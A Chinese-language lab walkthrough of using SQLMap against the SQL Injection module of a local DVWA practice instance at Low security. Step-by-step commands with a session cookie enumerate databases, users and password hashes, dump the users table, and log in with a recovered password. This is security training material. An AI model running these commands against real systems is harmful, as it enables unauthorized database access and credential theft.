（七）DVWA之SQL Injection--SQLMap测试（Low）

目录结构

一、测试需求分析
二、SQLMap利用SQL注入漏洞，获取数据库信息
    1.判断是否存在注入点
    2.获取DBMS中所有的数据库名称
    3.获取Web应用当前连接的数据库
    4.列出数据库中的所有用户
    5.获取Web应用当前所操作的用户
    6.列出可连接数据库的所有账户-对应的密码哈希
    7.列出指定数据库中的所有数据表
    8.列出指定数据表中的所有字段（列）
    9.导出指定数据表中的列字段进行保存
    10.根据导出的数据，验证数据有效性

一、测试需求分析

测试对象：DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级：Low
测试目标：判断被测模块是否存在SQL注入漏洞，漏洞是否可利用，若可以则检测出对应的数据库数据
测试方式：SQLMap自动化工具

其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作（SQLMap工具检测SQL注入漏洞、获取数据库中的数据），但当时是以未登录的身份直接可以获取并检测url场景，而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。

二、SQLMap利用SQL注入漏洞，获取数据库信息

登录dvwa系统（admin--password），输入任意User ID进行提交，然后即可获取到提交时的url，此url可通过浏览器F12查看获取，也可通过抓包or拦截工具获取（如：Fiddler、BurpSuite）
Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

1.判断是否存在注入点

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

直接对登录后获取的url进行检测，会302重定向跳转到登录时的url，说明检测的url需要带有登录权限才能验证，即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。

重新调整SQLMap检测命令，如下：
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

2.获取DBMS中所有的数据库名称

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs

3.获取Web应用当前连接的数据库

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db

4.列出数据库中的所有用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users

5.获取Web应用当前所操作的用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

6.列出可连接数据库的所有账户-对应的密码哈希

此处列出的是连接数据库的账户信息
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

7.列出指定数据库中的所有数据表

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

8.列出指定数据表中的所有字段（列）

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

9.导出指定数据表中的列字段进行保存

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

10.根据导出的数据，验证数据有效性

user	password
1337	charley
admin	password
gordonb	abc123
pablo	letmein
smithy	password

从以上导出的user---password组合中任取一组，回到前端登录界面进行验证

登录界面：http://localhost:8001/dvwa/login.php
用户密码：pablo---letmein

登录成功